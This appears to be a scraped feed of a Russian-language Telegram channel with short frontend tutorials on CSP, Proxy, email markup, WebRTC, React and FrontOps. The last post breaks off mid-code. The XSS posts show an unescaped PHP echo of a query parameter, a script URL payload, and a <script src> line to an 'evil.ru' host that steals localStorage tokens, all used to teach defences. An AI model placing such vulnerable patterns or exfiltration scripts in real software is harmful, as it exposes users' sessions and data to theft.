prog_way_blog | Unsorted

Telegram-канал prog_way_blog - progway — программирование, IT

2763

Чат: @prog_way_chat Разборы вопросов и задач с собеседований, мысли, полезные материалы и просто вещи, что мне интересны из мира IT Полезности и навигация в закрепе По всем вопросам: @denisputnov

Subscribe to a channel

progway — программирование, IT

Шпаргалка с чего начать в FrontOps

Для себя любимого

1. Свободно ориентироваться в терминале, уметь выходить из вима и пользоваться ssh
2. Разобраться со сборкой — разобраться как минимум с Vite, понимать как исходный код превращается в бандл
3. Разобраться с Docker — понять зачем вообще он нужен, как оптимизировать Dockerfile

Для команды любимой

1. Автоматизировать всё, что можно автоматизировать — изучить prettier, biome, eslint, stylelint — интегрировать в проект и забыть о спорах на ревью о формате кода. Также можно изучить husky и запускать все необходимые проверки ещё до коммита
2. Разобраться с GitLab Actions, именно это используют в большинстве случаев — прогонять линтеры и тесты, собирать превью билд для пул реквестов
3. Изучить мониторинг и аналитику — Sentry для мониторинга и Umami или Matomo для аналитики подойдут для большинства проектов

Для пользователя любимой
1. Изучить что такое CDN и как это можно использовать, что такое S3, микрофронтенды, хотя бы базово разбираться в nginx
2. Разобраться с производительностью — рассмотреть и оптимизировать бандл, научиться использовать Lighthouse, react-scan и в целом тестировать свои приложения на слабых устройствах

Гайд не исчерпывающий, но может выступить ориентиром

Если вам что-то не нравится делать — возможно, это навык, который стоит просто прокачать?


@prog_way_blogчат

Читать полностью…

progway — программирование, IT

Небольшая коллаба с Bell Integrator

Читать полностью…

progway — программирование, IT

Сам себе режиссёр?

Сегодня принято считать, что FrontOps — это попытка соединить посредственного DevOps-инженера и фронтендера в одном лице. Но, как по мне — это наглядная демонстрация T-shape подхода в оценке разработчиков

T-shape — это модель компетенций, где обычно выделяют одну доминанту (например, фронтенд) и множество навыков рядом с основным (для фронтендера, например — CI/CD, DevOps, UI/UX и тд)

Также к навыкам рядом можно относить и soft skills, например навык управления командой и прочее


У людей куча мнений на этот счёт и мне в основном встречается негативная позиция, но имхо — это вполне адекватное требование не только к фронтендеру, но и любому другому разработчику начиная с грейда мидл и выше

В первую очередь, развитие вширь и обретение ещё каких-то навыков за рамками основной компетенции — это отличное развитие «вширь» для любого специалиста в любой профессии

Для кандидата выгода очевидна:
— зачастую выше зарплата
— конкурентное положение на рынке
— больше возможностей для развития внутри основной компетенции за счёт заимствования (очень много что в современном фронтенде взято из бекенда, например)

Для компании, в целом, тоже:
— человек «швейцарский нож», который способен закрывать большой пул задач без увеличения штата и зарплатного фонда (один крутой разраб всегда дешевле двух хороших)
— быстрее протекают кросс-процессы

Под кросс-процессами я подразумеваю те процессы, которые перетекают из компетенции в компетенцию. Тут обсудим две потенциальные ситуации на примере старта маленького проектика, который нужно куда-то задеплоить


➡️ Ситуация первая, печальная
Для деплоя по хорошему нужно бы настроить CI/CD. Если фронтендер не может сделать это сам, на проект будет выделен отдельный DevOps (или FrontOps)

Очень часто наблюдается ситуация, в которой DevOps-ов не хватает, а на мелких проектах держать отдельного DevOps в целом не рентабельно. В таких случаях создается общий пул и один девопс может работать сразу на нескольких проектах


В этой ситуации есть риск потенциального простоя

Какие выходы есть их этой ситуации?
1. Экстренно дёрнуть девопса с другого проекта (плохо — негативный импакт)
2. Заставить фронтендера учиться как там что делается (плохо — долго)
3. Поставить задачу на холд и ждать когда девопс до нее доберётся (плохо — долго)

➡️ Ситуация вторая, выгодная
Фронтендер сам накидает себе базовый .gitlab-ci.yml, а с этим реально не каждый человек на рынке может справиться, и задача решится за час-два

Из двух этих карикатур лично мне очевидно какую именно выберет большинство руководителей


Лично моя философия в том, что не существует такой позиции, как FrontOps-инженер

FrontOps — это фронтендер, который что-то как-то умеет в DevOps (в большинстве случаев)

FrontOps — это DevOps, который что-то как-то умеет в фронтенд

Иного я никогда в своей жизни не видел


И воспринимать, как по мне, это нужно именно так. FrontOps не должен быть заменой DevOps, это лишь дополнительная функция

FrontOps это не про замену DevOps как такового. Более того, в бигтехе иногда девопс настолько сложный бывает, что разработчика во все процессы погрузить ну очень уж сложно и дорого, поэтому отдельные девопсы и существуют

FrontOps это больше о:
— хотя бы примитивном CI/CD
— базовом понимании что такое nginx, CDN, кеширование
— умении добавить джобу на прогон юнит тестов без слёз
— умении прочитать логи с кубер пода, логи с sentry, нажать кнопку в кейклоке без панических атак ну и тд

Навык безусловно полезный и который точно нужно качать, но какого-то «рецепта успеха» тут точно нет

Самый адекватный способ преисполниться в таких процессах — это написать десяток пет-проектов разной направленности или взять подобную задачу на работе, иначе получить какой-то релевантный опыт ИМХО тут просто невозможно

В последующих постах постараюсь раскрыть эту тему больше с технической стороны и рассказать что я применяю в своих проектах и работе регулярно, чтобы желающим было с чего начать

Также советую прочитать статью из блога Игоря Федюкина


Не бомбите, берегите нервы, себя и своих близких. Всех благ❤️

@prog_way_blogчат

Читать полностью…

progway — программирование, IT

Content Security Policy

CSP — механизм защиты веб-приложений в браузере, который регулирует из каких источников браузер может загружать ресурсы и выполнять их (скрипты, стили, шрифты, картинки и т.д.)

Основная задача CSP — защитить пользователя от инъекционных атак, типа XSS, блокируя любые недоверенные ресурсы

CSP можно задавать через HTTP заголовок или через meta тег. И, если честно, с CSP в мета тегах я никогда не сталкивался, поэтому осознанно опущу эту часть, такой способ задания наименее гибкий и полезный и подходит только для статики

Обычно политику можно задать в конфиге Nginx, условного Express или даже в докере через заголовок: Content-Security-Policy. Выглядеть это в упрощённом случае может примерно так:

Content-Security-Policy: default-src 'self' https://trusted.ru;


Эта запись означает, что ресурсы можно загружать только с домена приложения либо с trusted.ru


Если на сайте настроена CSP без разрешения на инлайн-скрипты 'unsafe-inline' и без сторонних доменов, код злоумышленника просто не выполнится: браузер заблокирует <script> вне белого списка. Это эффективно снижает риск XSS
unsafe-inline — это директива CSP, которая позволяет браузеру выполнять инлайн-скрипты, вставленные в дом на лету. Это может быть удобно, но сильно ослабляет защиту сайта в целом.


Вот так это может выглядеть:

Content-Security-Policy:
default-src 'self';
script-src 'self' 'unsafe-inline';


В целом, если не заниматься какой-то откровенной порнографией, то современные инструменты разработки типа Nuxt/Next из коробки несут в себе очень много минорных и не очень фичей для безопасности ваших пользователей, не отключайте их, если не знаете, что делаете

Ну и так же помните, что фреймворки не защищают вас полностью


А CSP — не панацея, но очень мощный инструмент “защиты в глубину”.
Настройте хотя бы простое правило (default-src 'self'), а дальше постепенно добавляйте всё, что вам будет нужно. Это всё равно лучше, чем ничего

Спасибо за прочтение, это важно для меня 🥰

@prog_way_blogчат — #theory #useful #web

Читать полностью…

progway — программирование, IT

📃Товарищи, внимание

У меня небольшой творческий кризис

Кажется, что я уже очень многое описал, и у меня самого постепенно заканчиваются идеи для новых постов

Поэтому был бы рад обсудить любые идеи на тему контента в канале, пишите их в комменты к посту или анонимно в личку

Спасибо за внимание 🥰

Читать полностью…

progway — программирование, IT

Как реагировать на изменения объекта

В JavaScript обычные объекты не умеют уведомлять о своих изменениях, однако эту задачу можно решить с помощью Proxy

Proxy — это специальный встроенный в язык объект-обёртка, который позволяет изменить поведение других объектов, перехватывая действия над ними

new Proxy(target, handlers) создаёт прокси для объекта target, где handler содержит ловушки для перехвата операций

Ловушек много — get, set, deleteProperty, has... (подробнее на MDN) — каждая из ловушек переопределяет реакцию объекта на взаимодействие с ним

Например, можно переопределить поведение объекта при обращении к какому-нибудь из его свойств:

const user = { name: "Денис", age: 23 };

const proxyUser = new Proxy(user, {
get(target, key) {
return key in target ? target[key] : "Не найдено";
}
});

proxyUser.name // "Денис"
proxyUser.city // "Не найдено"


Но это лишь частный случай, можно сделать более утилитарный пример:
const reactive = (obj, callback) => {
return new Proxy(obj, {
set(target, key, value) {
target[key] = value; // обновляем значение
callback(key, value); // вызываем реакцию
return true;
}
});
};

// Используем:
const state = reactive({ count: 0 }, (key, value) => {
console.log(`Свойство "${key}" изменилось:`, value);
});

state.count = 1; // Лог: "Свойство 'count' изменилось: 1"
state.count = 5; // Лог: "Свойство 'count' изменилось: 5"

Прикрутить сюда типы и рекурсивный вызов функции reactive на каждый вложенный объект и у вас почти получится свой vue.js 🗿


Сам Proxy — это крайне нишевый инструмент, особенно в экосистеме реакта, где его встретить крайне сложно. Обычно можно обойтись более простыми вещами, но знать про прокси тоже нужно, может и пригодится. По крайней мере, у меня такой кейс на практике всё же был

В первую очередь прокси удобен конечно же для создания реактивных систем, но также его можно применять, например, для валидации свойств и логирования

Удобно, что Proxy крайне прост и к нему можно прикрутить что угодно. Например, к прокси можно прилепить zod для валидации, как это сделано в zoxy. Тут вы ограничены лишь своей фантазией

Если кратко:

— Proxy — обёртка, которая позволяет переопределить реакцию на операцию для объекта
— Переопределение поведения происходит при помощи "ловушек"


Спасибо за прочтение, это важно для меня ❤️

@prog_way_blogчат — #theory #useful #javascript #code #web #patterns

Читать полностью…

progway — программирование, IT

Верстка писем — это боль? или нет..?

Если вы думали, что адаптивная верстка для всех браузеров — это сложно, попробуйте сверстать email, который одинаково выглядит в Gmail, Outlook, Yahoo и десятках других почтовых клиентов...


Вёрстка письма — это крайне специфичное занятие, при котором нет возможности использовать добрую половину, если не больше, возможностей HTML и CSS

Почтовые движки настолько старые, что многие из них до сих пор требуют верстки с использованием таблиц, прямо как в 90-х. Но гораздо интереснее вопрос — почему получилось именно так? Я бы выделил пару причин:

➡️ Что и так понятно, причина историческая

Вёрстка письма — задача часто тривиальная. Вот многие и не заморачиваются с обновлением движков, так как это не дает какой-то бизнес выгоды. Нет абсолютно никакой разницы между вёрсткой письма для отправки PIN-кода для входа на таблицах или на флексах

➡️ Безопасность

Если углубиться и задуматься, то окажется, что у большинства запретов есть свой вполне объективный смысл. Есть много способов "заставить" вёрстку сходить куда-то за данными:

@font-face { src: url(...) }
background-image: url(...)
list-style-image: url(...)

<form action="https://.../steal.php" method="get">


И ещё куча других примеров — везде так или иначе наше письмо отправляет какой-то запрос. А это уже опасно тем, что открывает кучу возможностей для слежки за пользователем. Например, можно узнать реальный IP пользователя просто при открытии письма (открытие письма → запрос картинки → трекинг IP)

Также, например, запрещён position:fixed, потому что позволяет фиксировать элементы на экране, что можно использовать для фишинга. Например, можно зафиксировать модалку поверх письма с призывом ввести пароль, и она будет выглядеть как часть интерфейса почтового клиента

Но самое главное, что всё реально развивается и стало лучше!


— Outlook теперь рендерит письма на движке от Edge, а не от Microsoft Word (блин, да! до 2022 года письма реально рендерились на основе... ворда! )
— почти все почтовые клиенты научились понимать <div /> 😎
— много где появилась поддержка медиа запросов
— ну и много чего ещё

А самое главное, что появились крутые инструменты для вёрстки писем, которые из коробки закрывают много проблем — когда-то относительно давно появился MJML и сделал небольшую революцию, а в последние годы так и вовсе очень сильно хайпят react-email или vue-email

Мне недавно довелось сверстать десяток писем на react-email и с уверенностью могу сказать, что это было совсем-совсем не больно:
— тут тебе и tailwind
— и аля аналог storybook для шаблонов
— кастомные шрифты
— куча шаблонов и примеров кода
— поддержка markdown для текстов
— куча фиксов для почтовых клиентов...

И
всё это чудо в удобной обёртке из коробки с поддержкой компонентного подхода без смс и даже без регистрации

Как по мне, в современных реалиях верстать письма стало в разы легче, за что большое спасибо всему комьюнити. Если вдруг ранее вы обходили стороной вёрстку писем, загляните. Это тоже по-своему интересно

Ну и react-email тоже рекомендую, приятный инструмент

Спасибо за прочтение, это важно для меня ❤️

@prog_way_blogчат — #useful #web #react

Читать полностью…

progway — программирование, IT

🎄 С новым годом, почти

Модно нынче подводить итоги года и мне стало интересно подбить итоги для канала

Меня эта статистика приятно удивляет, я даже не задумывался что могут получиться такие большие цифры

За этот год я сделал очень много для канала: много что изучил, проводил интерактивы, старался стабильно и по графику выпускать посты, пусть и не всегда успешно. Покупал рекламу, пытался продавать её сам, в чём, кстати, сильно разочаровался

За год в канале вышло 14 по настоящему рекламных постов, в основном, с рекламой каких-то ИМХО адекватных каналов, что ещё куда ни шло, но в основном в предложку летит полный шлак, а продавать места в канале за смешные деньги очень уж впадлу

Поэтому в новом году я желал бы себе монетизировать канал этичным для себя способом, а каждому из вас я желаю получать ещё больше удовольствия от работы и жизни в целом, покорить новые вершины и исполнить все свои желания. Желаю каждому успехов, не только в карьере, новых ярких эмоций и идей

Хочу сказать каждому читающему спасибо за этот год вместе. Спасибо за то время, что вы на эту писанину тратите

Не зря в каждом посте я говорю спасибо за прочтение. Это важно для меня 🎁

С канала я ничего кроме вашего прочтения, реакций и комментариев и не получаю
🙂🙂🙂

@prog_way_blog — #blog

Читать полностью…

progway — программирование, IT

Флоу рендеринга компонента в React

Небольшая шпаргалка, которая содержит в себе очередь вызова эффектов при маунте и апдейте компонента.

➡️При маунте порядок следующий:

1. Рендер на основе изначальных значений состояний
2. useInsertionEffect
3. Создание DOM
4. Прикрепление ссылок на ноды (ref)
5. useLayoutEffect
6. useEffect

➡️При апдейте компонента:

1. Рендер на основе новых значений состояний
2. Обновление DOM
3. useInsertionEffect
4. Прикрепление ссылок на ноды (ref)
5. useLayoutEffect
6. useEffect

📎Решил вынести её в канал, потому что сам прям недавно сталкивался с этим на рабочем проекте и подумал, что это тоже кому-то может быть полезно

Ну и не реклама, а реально рекомендация — на эту тему хочу поделиться видео Аюба Бегимкулова о нестандартном применении useInsertionEffect. Там он более подробно рассказывает почему порядок именно такой и в целом чуть более подробно раскрывает тему рендера с примерами в коде

Спасибо за прочтение, это важно для меня ❤️

@prog_way_blogчат — #web #theory #react

Читать полностью…

progway — программирование, IT

Вот вам ещё визуализация всего, что я пытался описать текстом

Читать полностью…

progway — программирование, IT

Галопом по теории WebRTC

Тема большая, но попробую максимально сжато рассказать в текстовом посте

WebRTC — Web Real Time Communications — стандарт, который описывает прямую передачу потоковых аудиоданных, видеоданных и контента между клиентами в режиме реального времени. На основе этого стандарта работают всякие зумы, телемосты, google meet и прочие площадки

Для реализации такого соединения в браузерах используется нативный JS класс RTCPeerConnection


Причем акцент тут на фразе "прямая передача", так как WebRTC в идеале, пусть и не всегда, представляет собой p2p соединение

p2p — peer-to-peer — это такое сетевое соединение, которое позволяет двум или более устройствам общаться между собой напрямую без сервера-посредника. Ещё такие соединения называют одноранговыми


Однако, если мы можем общаться между устройствами без посредника, это не значит, что мы можем установить соединение без посредника

Для того чтобы установить прямое соединение между двумя клиентами, нужно знать их IP адреса. А мы, как пользователи какого-нибудь ноутбука не можем напрямую узнать IP адрес ноутбука нашего друга, потому что скорее всего у его устройства нет публичного статичного IP адреса

У каждого устройства в сети гарантированно может быть только локальный IP адрес, который далее через NAT транслируется во внешнюю сеть

NAT — Network Address Translation — механизм TCP/IP, который позволяет транслировать внутренние локальные IP адреса во внешние IP адреса за пределами нашего маршрутизатора (можно назвать роутером), который будет выступать в роли межсетевого экрана (файрвол)


Короче, чтобы решить всю эту сетевую кашу, существует STUN, который позволяет каждому клиенту узнать свой публичный адрес и инициатору соединения сформировать две сущности — Offer и ICE Candidate

STUN — Session Traversal Utilities for NAT (перевод "утилиты обхода сеансов для NAT") — это протокол, который позволяет каждому устройству узнать свой внешний IP адрес даже за файрволом

Клиент отправляет STUN серверу запрос, затем сервер STUN отправляет клиенту обратно информацию о том, каков внешний адрес маршрутизатора NAT, и какой порт открыт на NAT для приема входящих запросов обратно во внутреннюю сеть


Offer — это предложение открыть прямое соединение на основе параметров связи, то есть Offer описывает используемые кодеки для передачи контента, информацию о медиа-потоках (видео, аудио) и тд

ICE Candidate — это метаданные устройства в p2p сети: его IP, порт и прочие параметры

Далее две эти сущности отправляются сигнальному серверу, и уже через сигнальный сервер инициатор получит Answer (то же самое, что и Offer, только от второго клиента)

Прямое соединение откроется только после выполнения всех этих шагов, но для открытия соединения нужен сервер-посредник

Сигнальный сервер — это то, что мы можем реализовать сами на любых удобных технологиях. Тут вообще не важно как Offer, Answer и ICE Candidate будут передаваться между клиентами — REST API, сокеты... хоть голубями отправляйте


Немного задушил теорией и надеюсь, что нигде не ошибся, пишите если что

Спасибо за прочтение, это важно для меня ❤️

@prog_way_blogчат — #web #theory #data

Читать полностью…

progway — программирование, IT

Ещё один пример

Бывает такое, что нужно встроить в строку значение, которое может быть пустым. Обычно пишутся доп. проверки:

const order = {
city: "Москва" // представим, что возможно undefined или null
}

const { city } = order

// могут писать что-то типа такой проверки
city ? `Ваш город: ${city}` : null


Можно решить эту же задачу с помощью функции из поста выше, вот так это будет:
type SubstitutionPrimitive = string | number | boolean | undefined | null;

const isNullOrUndefined = (value: SubstitutionPrimitive): value is undefined | null => {
return value === undefined || value === null;
};

const safePaste = (strings: TemplateStringsArray, ...substitutions: SubstitutionPrimitive[]) => {
let result = strings[0];

for (let index = 0; index < substitutions.length; index++) {
const value = substitutions[index];

if (isNullOrUndefined(value)) return null;

result += value + strings[index + 1];
}

return result;
};


Просто вернем null вместо строки, если какое либо из значений в подстановках null или undefined. Вот так это будет вызываться:
const apple = {
name: 'Яблоко',
};
const orange = {};

safePaste`Товар: "${apple?.name}"`;
// Товар: "Яблоко"

safePaste`Товар: "${orange?.name}"`;
// null


Ну типа костыль. А вроде и нет. Просто ещё один пример посмотреть как это можно применить

@prog_way_blogчат — #javascript #code

Читать полностью…

progway — программирование, IT

Как скопировать значение в буфер обмена

Часто может возникнуть необходимость скопировать какое-то значение в буфер обмена, например, при нажатии на кнопку, и есть два способа сделать это:

Современный метод использует navigator.clipboard. Это браузерное API, которое предоставляет асинхронные методы для чтения и записи данных в буфер обмена

navigator.clipboard.writeText('Какой-то текст')


Этот метод прост, но есть один важный нюанс: он работает только в безопасных контекстах (например, на страницах, загруженных по HTTPS). Проверить это можно с помощью флага window.isSecureContext. Если страница не является безопасной, вызов методов из navigator.clipboard вызовет ошибку

До появления navigator.clipboard использовался метод document.execCommand('copy'). Он требует немного больше манипуляций с DOM, но работает в небезопасных контекстах и даже самых старых браузерах:

// нужно создать какой-то текстовый элемент 
// и установить ему необходимое значение
const textArea = document.createElement('textarea');
textArea.value = "Какой-то текст";

// убрать элемент куда-то далеко
textArea.style.position = 'absolute';
textArea.style.left = '-999999px;

// и добавить его в вёрстку
document.body.prepend(textArea);

// далее выделить наше поле ввода
textArea.select();

try {
// и скопировать значение в буфер обмена
document.execCommand('copy');
console.log('Текст скопирован!');
} catch (err) {
console.error('Не удалось скопировать текст: ', err);
}

// не забываем удалить элемент из вёрстки
textArea.remove()


Комбинацией обоих способов можно покрыть абсолютно все кейсы во всех браузерах:

if (navigator.clipboard && window.isSecureContext) {
// используем navigator.clipboard
} else {
// используем document.execCommand('copy')
}


Кратко:

— в современных браузерах используется браузерное API navigator.clipboard для взаимодействия с буфером
— в старых браузерах и на страницах, работающих по http, используется устаревший document.execCommand


Спасибо за прочтение, это важно для меня ❤️

@prog_way_blogчат — #web #javascript #theory #data

Читать полностью…

progway — программирование, IT

Составные компоненты

Есть такой паттерн для реакта, который называется Compound Components. Это можно перевести как "составные компоненты"

Смысл этого паттерна заключается в том, что мы можем связать компоненты общим окружением и эффективнее использовать их вместе

То есть мы можем заранее объединить компоненты каким-то контекстом и переиспользовать их, например, через общее пространство имён, в качестве которого чаще всего выступает родительский компонент


Запутались в словах? Лучше посмотреть в коде:

Вот пример прям из доки Ant Design:
import { Layout } from 'antd';

<Layout>
<Layout.Header>Header</Layout.Header>
<Layout.Content>Content</Layout.Content>
<Layout.Footer>Footer</Layout.Footer>
</Layout>


Обратили внимание, как компоненты Header, Content и Footer мы получаем напрямую из компонента Layout? Это и есть пример паттерна Compound Components. Компоненты связаны, а используются они из общего пространства — компонента Layout

Зачем же так сделали? Тут преследуется три цели:
1. Явно показать на уровне нейминга, что использовать Layout.Footer вне Layout не нужно
2. Расшарить общий контекст между всеми компонентами Layout
3. Корректно стилизовать части Layout в зависимости от значения внутри общего контекста

С неймингом и стилями, думаю, всё предельно ясно. Но что насчёт контекста? На самом деле, Layout под собой содержит ещё и LayoutContext, который содержит в себе состояние компонента Sider и распространяет его на все дочерние компоненты. Схематически это выглядит примерно так:

InternalLayout  
└ LayoutContext <-- инициализируем контекст
├ Header
├ Content <-- а в этих компонентах получаем его значение
├ Footer
└ Sider


В итоге получится, что все дочерние компоненты, пытающиеся получить доступ к контексту, без обёртки работать будут криво или и вовсе не будут

С точки зрения типов всё тоже не сложно. Тот же Ant Design делает так:
import InternalLayout, { Content, Footer, Header } from './layout';
import Sider from './Sider';

// получаем тип базового layout компонента
type InternalLayoutType = typeof InternalLayout;

// создаём тип, который определит какие компоненты мы вложим в layout
type CompoundedComponent = InternalLayoutType & {
Header: typeof Header;
Footer: typeof Footer;
Content: typeof Content;
Sider: typeof Sider;
};

// нагло переприсваиваем тип
const Layout = InternalLayout as CompoundedComponent;

// нагло биндим нужные компоненты
Layout.Header = Header;
Layout.Footer = Footer;
Layout.Content = Content;
Layout.Sider = Sider;

// не менее нагло экспортируем как public-api
export default Layout;


Спасибо за прочтение, это важно для меня ❤️

@prog_way_blogчат — #web #javascript #typescript #theory #code #react #patterns

Читать полностью…

progway — программирование, IT

Pattern matching

Pattern matching — это крутой концепт, который позволяет делать что либо в зависимости от совпадения с тем или иным шаблоном

В качестве шаблона может выступать какая-то константа или предикат


Самой примитивной реализацией концепта в JavaScript можно считать объекты или конструкцию switch-case:

const statusIcon = {
warning: <WarningIcon />,
success: <SuccessIcon />,
error: <ErrorIcon />,
loading: <Spinner />
}

const status = "error"
const matched = statusIcon[status]


Примерно то же самое можно реализовать и со switch-case, но всё это не так интересно

Есть такая библиотечка — ts-pattern. Она же позволяет отойти от примитивных примеров и использовать полноценный pattern matching, включая анализ вложенных структур и более сложные условия

На главной странице библиотечки есть очень наглядная гифка. Я предлагаю посмотреть на неё повнимательнее, описывать что-то дополнительно не вижу смысла

Скажу лишь то, что мне доводилось пользоваться этой библиотечкой и, как по мне, работает она шикарно. У меня остался исключительно положительный опыт)

Сам по себе концепт невероятно полезен для упрощения кода. Такой код проще читать, изменять и поддерживать. А в совокупности с ts-pattern, решение будет ещё и типобезопасно, что также неоспоримый плюс

Спасибо за прочтение, это важно для меня ❤️

@prog_way_blogчат — #web #javascript #theory #code

Читать полностью…

progway — программирование, IT

Первый шаг в сторону FrontOps

В продолжение темы FrontOps хочу рассказать, чем я пользуюсь для своих проектов

Длительное время любил и уважал Vercel, да и до сих пор считаю, что для базового деплоя проекта «в интернет» ничего лучше Vercel/Netlify для новичка не придумали, но со временем начал сталкиваться со множеством ограничений бесплатной версии. Например, веб-сокеты в бесплатной версии у меня поднять так и не получилось из-за ограничений самого сервиса

Но самое главное — нет контроля над происходящим, а он порой бывает невероятно полезен

Поэтому я начал использовать Coolify — опенсорсной self-hosted альтернативой. Если утрировать и упрощать, то представьте, что вы владелец Vercel. Вот Coolify даёт вам такое чувство, поскольку это коробочное решение, которое можно поднять на своём сервере по очень простому гайду и с удовольствием пользоваться

В Coolify есть множество функций, которые пригодятся каждому:
— импорт репозиториев с GitHub, в том числе приватных
— автоматическая установка SSL сертификатов (только при условии, что используете домен с reg.ru, если не ошибаюсь — такой там вендор-лок)
— редеплой по мержу
— переменные окружения, возможность создавать разные окружения для одного проекта
— возможность управлять сразу множеством серверов для деплоя
— уведомления, работа в команде, своё s3 хранилище и так далее

Ну и что не менее важно — есть готовый набор огромного набора инструментов, начиная Keycloak, Umami и PostgreSQL DBaaS в 2 клика, заканчивая сервером для майнкрафта — вот всё это уже реализовано и отлично работает

Звучит как ужасная продажная реклама, но это, к сожалению, не так. Очень жаль))


Для первого погружения в FrontOps — инструмент шикарный

Можно задеплоить парочку проектов, научиться писать хотя бы Dockerfile, может и пайплайн из парочки джобов собрать, а потом уже двигаться дальше

Прямо сейчас у меня развёрнуто несколько проектов, в том числе зеркало progway, про которое в канале я никогда не упоминал. Это написанная за пару вечеров прила, которая является почти полным аналогом канала. Сделано зеркало просто для того, чтобы привлекать новый трафик в канал с поиска в условном яндексе

Пока этим приложением у меня нет времени заниматься, оно в подвешенном состоянии, но когда нибудь оно будет сиять


Ну а если вы вдруг любитель поиграть в игру «Бункер», такой проект у меня тоже найдётся. Прила ещё достаточно давно была написана чисто для друзей, но не вижу преград не поделиться

Для меня эти проекты — испытательный полигон, где можно сделать акцент на том, что интересно пощупать — изучить новую библиотечку, какой-то новый подход и т.д.

А для кого-то такие пет-проекты и coolify в целом могут стать первым шагом в изучение темы FrontOps

Не обязательно всё время быть сильными. Иногда достаточно просто жить дальше, держаться за принципы и не давать обстоятельствам нас сломать — и этого уже достаточно🥰


@prog_way_blogчат — #theory #blog #useful

Читать полностью…

progway — программирование, IT

Как успешно пройти собеседование frontend-разработчику? 📄

Интервью — важный этап построения карьеры. На одном хорошо расписанном резюме далеко не уедешь: важно уметь правильно преподносить себя, быть честным в ответах, собирать обратную связь — и это лишь часть верных шагов!

О том, как качественно готовиться к собеседованию будущим специалистам, что говорить во время и что делать после него, рассказал frontend-разработчик со стажем Денис Путнов, который на своем канале делится еще больше полезной информацией о программировании и карьере в ИТ.

#BellintegratorTeam #советыBell

Читать полностью…

progway — программирование, IT

Ещё один пример XSS уязвимости

Предположим, сайт a.com не защищён от XSS. Допустим, там есть URL-параметр, который встраивается в страницу как есть:

<div>Результаты поиска: <?php echo $_GET['query']; ?></div>


Что делает злоумышленник:

1. Создаёт специальную ссылку, например:
https://a.com/search?query=&lt;script&gt;alert('Я украл твою почку!')</script>


2. Обманом заставляет вас перейти по этой ссылке (через фишинговое письмо, сообщение в соцсети и т.д.)

Что происходит у вас в браузере:

1. Вы заходите на a.com через эту ссылку

2. Сервер a.com вставляет <script>...</script> прямо в HTML

3. Ваш браузер видит этот скрипт и выполняет его, потому что считает, что он пришёл с доверенного сайта a.com

Ну и всё, вы остались без почки

Поможет ли тут CSP? Ответ: увы, нет

Нужно понимать, что CSP проверяет только источник, а не содержимое скрипта. Тут вредоносный скрипт встроил сам доверенный сервер, CSP такой скрипт ничем не смутит. Зато эту проблему можно решить банальным экранированием


Спасибо за прочтение, это важно для меня 💖

@prog_way_blogчат — #theory #useful #web

Читать полностью…

progway — программирование, IT

Что такое XSS

XSS — это тип уязвимости, при которой злоумышленник внедряет в страницу свой скрипт, и этот скрипт выполняется в браузере жертвы как будто от имени доверенного сайта

При помощи XSS зачастую можно потерять cookies, localStorage, а также получить подмену содержимого страницы (например, на страницу встроится какая-нибудь фишинговая форма)

На основе вышеописанного и украденных данных авторизации уже можно сделать любое действие от лица пользователя, будь то отправка сообщения, банковский перевод или любая другая операция


Как по мне, самый распространенный вариант попасться на XSS атаку сейчас — поставить себе недобросовестное браузерное расширение и дать ему слишком много разрешений на ходу

Сайты, не защищённые CSP или с 'unsafe-inline' директивой — лакомый кусочек для таких типов атак

1. Вы устанавливаете расширение, которое парсит страницу (ваш банк, например) и вставляет HTML через innerHTML

2. Внедряется какой-нибудь <script src="https://evil.ru/steal.js"></script>, этот скрипт крадёт токен из localStorage и отправляет на сервер злоумышленника

Итог: с вашим токеном можно украсть деньги, данные или сделать что-угодно от вашего имени. И это лишь один из тысячи примеров


Есть несколько основных способов защититься:
— Всегда экранировать пользовательский ввод
— Не использовать небезопасные методы редактирования HTML разметки (например, innerHTML)
— Не забывать про флаг HttpOnly на куках
— Использовать Content Security PolicyCSP (об этом в одном из следующих постов)

Спасибо за прочтение, это важно для меня 💙

@prog_way_blogчат — #theory #useful #web

Читать полностью…

progway — программирование, IT

Как создать массив фиксированной длины?

На самом деле, способов множество. Можно создать простой массив пустых элементов:

Array(100)


Но тогда будет проблема с тем, чтобы его заполнить.
Решить её очень просто — можно просто заполнить массив через метод fill:
Array(100).fill(0)


Или мы можем попробовать вызвать метод map и заполнить массив индексами:
Array(100).map((_, index) => index)


Пробуйте угадать что получится в ходе выполнения кода выше😂

Ответ:
⬇️

Получится [empty × 100], а не массив индексов)

Тут дело в том, что при вызове Array(100) у нас изначально создаётся "разряженный" массив. Это когда под каждый элемент массива даже память не выделяется.

Язык просто создаёт пустую структуру с полем length в значении 100


А что будет, если вызвать вот такой код?
Object.keys(Array(100)).length


Ответ: ноль, потому что значений в массиве по сути то и нет. Поэтому и map не работает

Поэтому если мы хотим использовать map, то придётся использовать вот такой хак:
[...Array(100)].map((_, index) => index)

Такая конструкция уже превратит разряженный массив в массив из сотни undefined и позволит вызвать map

Мой любимый способ, который я использую всегда в подобных кейсах:
Array.from({ length: 100 })


Мне так привычнее и синтаксически наиболее понятно. Да и ещё фишка в том, что вторым аргументом в from можно сразу передать функцию-маппер:
Array.from({ length: 100 }, () => 'привет')


Ну или прям совсем в лоб, про такое тоже не забываем:
const array = []

for (let i = 0; i < 100; i++) {
array.push('progway')
}


Спасибо за прочтение, это важно для меня ❤️

@prog_way_blogчат — #web #javascript #theory #data

Читать полностью…

progway — программирование, IT

Кстати, из смешного печального, 99.97% писем имеют серьёзные/критические проблемы с доступностью по результатам исследования 2024 года

Из 409 357 проанализированных писем без ошибок по доступности были целых 28

🤷‍♂️🤷‍♂️🤷‍♂️

@prog_way_blog

Читать полностью…

progway — программирование, IT

Что такое Server-Sent Events

SSE — это технология для однонаправленного соединения между сервером и клиентом, которая позволяет серверу отправлять обновления данных в реальном времени

Часто SSE могут стать отличной альтернативой WebSocket. Он отлично подойдёт для кейсов, когда:
1. Нам нужно постоянно получать обновления с сервера
2. Не нужно постоянно отправлять что-то с клиента

Такая односторонняя связь полезна при реализации:
— уведомлений
— обновления данных в реальном времени (цен, загрузки CPU...)
— индикатора прогресса загрузки большого файла
— даже в играх

И многих других случаях


Фикус в том, что держать SSE гораздо проще и дешевле, чем держать WebSocket. Как по коду, так и по перфомансу

Для реализации понадобится только простенький эндпоинт на сервере, а далее процесс выглядит так:
1. Клиент делает GET запрос на подготовленный эндпоинт через EventStream
2. Сервер создаёт event-stream, просто устанавливая нужный заголовок. Соединение не закрывается, и с этого момента сервер может пушить в стрим любые строковые данные
3. Клиент подписывается на новое сообщение в стриме

На сервере это будет выглядеть примерно так:
const http = require('http');

